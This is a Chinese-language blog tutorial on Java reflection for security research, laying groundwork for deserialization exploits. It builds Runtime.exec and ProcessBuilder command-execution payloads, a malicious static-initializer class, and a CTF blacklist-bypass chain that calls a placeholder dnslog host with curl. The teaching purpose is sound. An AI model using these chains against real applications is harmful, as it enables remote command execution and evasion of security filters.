Java安全-反射篇

Naraku

发布于 2022-03-29 18:56:01

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发布于 2022-03-29 18:56:01

文章被收录于专栏：Naraku的专栏

Java安全可以从反序列化漏洞开始说起，反序列化漏洞⼜可以从反射开始说起。

反射机制

可以获取到任何类的构造方法Constructors、成员方法Methods、成员变量Fields等信息

核心方法：基本上这⼏个⽅法包揽了Java安全⾥各种和反射有关的Payload。
- 获取类对象的⽅法： forName
- 实例化类对象的⽅法： newInstance
- 获取函数的⽅法： getMethod
- 执⾏函数的⽅法： invoke

public void execute(String className, String methodName) throws Exception {
    Class clazz = Class.forName(className);
    clazz.getMethod(methodName).invoke(clazz.newInstance());
}

Class.forName

通常一个JVM下，只会有一个ClassLoader，而一个ClassLoader下，一种类只会有一个Class对象存在，所以一个JVM中，一种类只会有一个Class对象存在。

Class.forName()，有两个函数重载：
- Class<?> forName(String name)
- Class<?> forName(String name, boolean initialize,ClassLoader loader)
其中方法1可以理解为方法2的封装

Class.forName(className);
// 等于
Class.forName(className, true, currentLoader);

参数：
- name：类名，即类完整路径，如java.lang.Runtime，
- initialize：是否初始化
- ClassLoader：类加载器，Java默认的ClassLoader就是根据类名来加载类

参数initialize

先来看一段代码

package com.naraku.sec.reflection;
import java.io.IOException;

public class TrainPrint {
    {
        System.out.printf("Empty block initial %s\n", this.getClass());
    }

    static {
        System.out.printf("Static initial %s\n", TrainPrint.class);
    }

    public TrainPrint() {
        System.out.printf("Initial %s\n", this.getClass());
    }
}

分别通过2种方式运行：
- 类初始化：forName
- 类实例化：new

// 类初始化
public static void main(String[] args) throws IOException, ClassNotFoundException {
    Class.forName("com.naraku.sec.reflection.TrainPrint");
}
/* 输出结果
  Static initial class com.naraku.sec.reflection.TrainPrint
*/


// 类实例化
public static void main(String[] args) throws IOException, ClassNotFoundException {
    TrainPrint test= new TrainPrint();
}
/* 输出结果
  Static initial class com.naraku.sec.reflection.TrainPrint
  Empty block initial class com.naraku.sec.reflection.TrainPrint
  Initial class com.naraku.sec.reflection.TrainPrint
*/

其中，static{}就是在类初始化时调用的，{}则会在构造函数的super{}后面，但在当前构造函数内容的前面。上面例子执行顺序为：
- 类初始化：static{}
- 类实例化：static{} -> {} -> 构造函数
所以，forName中的initialize其实是决定是否执⾏类初始化，而不是类实例化 简单利用
上面说到，在使用forName()进行类初始化时，会执行static{}中的代码
假设存在一个函数，其中的className可控

package com.naraku.sec.reflection;

public class TestRef {
    public void ref(String name) throws Exception {
        Class.forName(name);
    }

    public static void main(String[] args) throws Exception {
        String className = "com.naraku.sec.reflection.TestCalc";

        TestRef testRef = new TestRef();
        testRef.ref(className);
    }
}

那么可以构造一个恶意类，在static{}中编写恶意代码。当这个恶意类被带入目标机器该函数时，触发forName进行类初始化，从而执行其中的恶意代码
- 实际情况中如果需要将这个恶意类带⼊⽬标机器中，就涉及到ClassLoader的利⽤

package com.naraku.sec.reflection;

public class TestCalc {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"open", "/System/Applications/Calculator.app"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

获取类对象的其它函数

forName不是获取“类”的唯⼀途径，通常有三种⽅式获取⼀个“类”，也就是java.lang.Class对象：

Class.forName(className)，如果已经知道某个类的名字，这样可以获取到它的类
obj.getClass()，如果上下文存在某个类的实例obj，可以直接获取到它的类
Test.class，如果已经加载了某个类，只是想获取它的java.lang.Class对象，那么直接取它的class属性即可。这个方法其实不属于反射上面第1和第2种方式获取Class对象时会导致类属性被初始化，而且只会执行一次。

package com.naraku.sec.reflection;

import java.lang.reflect.Constructor;

public class TestReflection {
    public static void main(String[] args) {
        String className = "java.lang.Runtime";

        try {
            Class class1 = Class.forName(className);
            Class class2 = java.lang.Runtime.class;
            Class class3 = ClassLoader.getSystemClassLoader().loadClass(className);
        }
        catch (Exception e){
            e.printStackTrace();
        }
    }
}

调用内部类

在正常情况下，除了系统类，如果我们想拿到一个类，需要先import才能使用。而使用forName就不需要，这样对于我们的攻击者来说就十分有利，我们可以加载任意类。

另外，经常在一些源码里看到，类名的部分包含符号，比如Fastjson在checkAutoType时就会先将替换成.参考链接：fastjson/parser/ParserConfig.java#L1038
的作用是查找内部类**：Java 的普通类C1中支持编写内部类C2，而在编译的时候，会生成两个文件：C1.class和C1 C2.class，通过Class.forName("C1

Class.newInstance

获得类以后，可以继续使用反射来获取类中的属性和方法，也可以实例化这个类再调用方法。

Class.newInstance()，Java反射框架中类对象创建新的实例化对象的方法。作用就是调用这个类的无参构造函数。当调用newInstance不成功时，原因可能是：
- 使用的类没有无参构造函数
- 使用的类构造函数是私有的

私有的类构造方法

最常见的情况就是java.lang.Runtime，这个类在构造命令执行Payload时经常用到，但不能直接这样来执行命令：

package com.naraku.sec.reflection;

public class TestNewInstance {
    public static void main(String[] args) throws Exception{
        Class clazz = Class.forName("java.lang.Runtime");
        clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");
    }
}

/* 报错
Exception ... can not access a member of class java.lang.Runtime with modifiers "private"
*/

原因是java.lang.Runtime这个类的构造方法是私有的，这里涉及到单例模式的设计思想
- 比如Web应用中的数据库链接，通常只需要链接一次。此时可以将数据库链接所使用的类的构造函数设为私有，这样只有在类初始化时才会执行一次构造函数，然后通过编写一个静态方法来获取这个数据库对象。
这里Runtime类也使用了单例模式，因此只能通过Runtime.getRuntime()来获取Runtime对象。所以需要修改为：

package com.naraku.sec.reflection;

public class TestNewInstance {
    public static void main(String[] args) throws Exception{
        Class clazz = Class.forName("java.lang.Runtime");
        clazz.getMethod("exec", String.class).invoke(
                clazz.getMethod("getRuntime").invoke(clazz), "open /System/Applications/Calculator.app"
        );
    }
}

getMethod和invoke

上面的例子中用到了getMethod()和invoke()方法。正常执行方法是 [1].method([2], [3], [4]...) ，在反射里就是method.invoke([1], [2], [3], [4]...)

getMethod()，作用是通过反射获取Class对象的指定公有方法，调用getMethod()时需要根据获取的方法传递对应的参数类型列表。
例如需要调用Runtime.exec()方法，该方法有6个重载，以第一个为例：exec(String command)，那么就需要传递一个String类的类对象

getMethod("exec", String.class)

invoke()属于Method类，作用是对方法进行调用
- 如果执行的是普通方法，那么第一个参数是类对象
- 如果执行的是静态方法，那么第一个参数是类
所以前面的例子也可以修改为：

package com.naraku.sec.reflection;

import java.lang.reflect.Method;

public class TestNewInstance {
    public static void main(String[] args) throws Exception{
        Class clazz = Class.forName("java.lang.Runtime");

        Method execMethod = clazz.getMethod("exec", String.class);
        Method getRuntimeMethod = clazz.getMethod("getRuntime");

        Object runtime = getRuntimeMethod.invoke(clazz);
        execMethod.invoke(runtime,"open /System/Applications/Calculator.app");
    }
}

这里有2个问题：
- 如果一个类没有无参构造方法，也没有类似单例模式里的静态方法，怎样通过反射实例化该类？
- 如果一个方法或构造方法是私有方法，是否能够通过反射执行？

Class.getConstructor

如果一个类没有无参构造方法，也没有单例模式里的静态方法，怎样通过反射实例化该类？

Class.getConstructor()，作用是获取构造函数对象，接收的参数是构造函数的参数类型列表。获取到构造函数后，使用newInstance来进行实例化
以另一种命令执行方式ProcessBuilder类为例，该类有两个构造函数：
- public ProcessBuilder(List<String> command)
- public ProcessBuilder(String... command)

反射替代强制类型转换

第一种构造函数，需要传入List.class类对象。先通过反射来获取其构造函数，再调用start()方法执行命令：

package com.naraku.sec.reflection;

import java.util.List;
import java.util.Arrays;

public class TestProcessBuilder {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        ((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("open", "/System/Applications/Calculator.app"))).start();
    }
}

这个Payload用到了强制类型转换，实际情况下利用漏洞的时候没有这种语法，所以需要利用反射来完成这一步：

package com.naraku.sec.reflection;

import java.util.List;
import java.util.Arrays;

public class TestProcessBuilder {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("open", "/System/Applications/Calculator.app")));
    }
}

这里通过getMethod("start")获取到start方法，然后invoke执行，invoke的第一个参数就是ProcessBuilder类对象

可变长参数

第二种构造函数，传递的参数为(String... command)，即表示这是一个可变长参数。如果想要在反射中获取这种参数，将其看作数组即可：

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class);

在调用newInstance的时候，因为这个函数本身接收的是一个可变长参数，ProcessBuilder所接收的也是一个可变长参数，二者叠加为一个二维数组，所以整个Payload如下：

package com.naraku.sec.reflection;

public class TestProcessBuilder {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        ((ProcessBuilder) clazz.getConstructor(String[].class).newInstance(new String[][]{{"open", "/System/Applications/Calculator.app"}})).start();

    }
}

同样地可以利用完全反射完成：

package com.naraku.sec.reflection;

public class TestProcessBuilder {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"open", "/System/Applications/Calculator.app"}}));
    }
}

Class.getDeclared

如果一个方法或构造方法是私有方法，是否能够通过反射执行？

这里涉及到getDeclared系列的方法：getDeclaredMethod()和getDeclaredConstructor()。它们和普通getMethod()/getConstructor()的用法类似，主要区别在于：
- getMethod()系列方法获取的是当前类中所有公共方法，包括从父类继承的方法
- getDeclaredMethod()系列方法获取的是当前类中“声明”的方法，包括私有方法，但不包括从父类继承的方法

反射私有构造方法

以java.lang.Runtime类为例，前文说到这个类的构造方法是私有的。这里可以直接调用getDeclaredConstructor()来获取这个私有的构造方法来实例化对象，从而执行命令
- 需要注意的是，获取私有方法后需要用setAccessible()修改其作用域，否则仍然不能调用。

package com.naraku.sec.reflection;

import java.lang.reflect.Constructor;

public class TestDeclared {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.Runtime");
        Constructor cs = clazz.getDeclaredConstructor();
        cs.setAccessible(true);

        clazz.getMethod("exec", String.class).invoke(cs.newInstance(), "open /System/Applications/Calculator.app");
    }
}

实例-沙盒绕过

在安全研究中，我们使⽤反射的⼀⼤⽬的，就是绕过某些沙盒。

⽐如上下⽂中如果只有Integer类型的数字，如何获取到可以执⾏命令的Runtime类呢，伪代码：

 1.getClass().forName("java.lang.Runtime")

Code-Breaking 2018中某道题的第三方Writup：http://rui0.cn/archives/1015

在JAVA中可以通过下面代码来执行命令，但在题目中使用了黑名单

Runtime.getRuntime().exec("curl xxx.dnslog.cn")

使用反射来构造一条调用链，这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")), "curl xxx.dnslog.cn);

整理一下比较容易理解：

String.class.getClass()            // 获取 Class 对象
.forName("java.lang.Runtime")      // 获取 Runtime 对象
.getMethod("exec", String.class)   // 获取 exec 方法
.invoke(                           // 反射调用 exec 方法
    String.class.getClass()        // 同上,获取并调用 getRuntime 方法
    .forName("java.lang.Runtime")
    .getMethod("getRuntime")
    .invoke(                       // 同上,获取 Runtime 对象
        String.class.getClass()
    .forName("java.lang.Runtime")
    ), 
  "curl xxx.dnslog.cn"             // exec 方法参数
);

完整代码：

package com.naraku.sec.reflection;

public class TestChain {
    public static void main(String[] args) {
        // Runtime.getRuntime().exec("curl xxx.dnslog.cn")
        try {
            String.class.getClass().forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
                String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(
                    String.class.getClass().forName("java.lang.Runtime")
                ), "curl xxx.dnslog.cn"
            );
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }
}